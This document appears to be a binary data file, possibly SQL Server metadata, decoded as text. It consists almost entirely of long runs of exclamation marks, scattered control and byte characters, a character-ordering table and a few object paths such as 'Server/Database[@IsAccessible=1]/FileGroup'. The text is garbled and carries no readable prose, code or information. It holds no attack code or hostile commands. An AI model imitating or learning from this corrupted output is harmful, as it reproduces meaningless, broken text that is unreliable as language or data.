!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x`uUT%Xj>@BCEGHJKMNPRSTUVWXYZ[\]]]^^^_```aabbbcccdeeefghiiijklopqrstuvwxyz{|}~	

 "!#$%'&()*,+-./1023457689;:<=>?@ABCDEFGHJIKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`K6!ydO:%}hS>)lWB-p[F1t_J5 cxN$9|gR=(






k
V
A
,


oZE0s^I4






w
b
M
8
#

						{	f	Q	<	'		jU@+nYD/r]H3	vaL7"
zeP;&~iT?*mXC.q\G2u`aaIez#p|Server-
p|-Server/Database0
p|_Server/Database[@IsAccessible=1]/LogFile1
p|Server/Database[@IsAccessible=1]/FileGroup[@IsFileStream=0]2
p|Server/Database[@IsAccessible=1]/FileGroup[@IsFileStream=0]/File3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!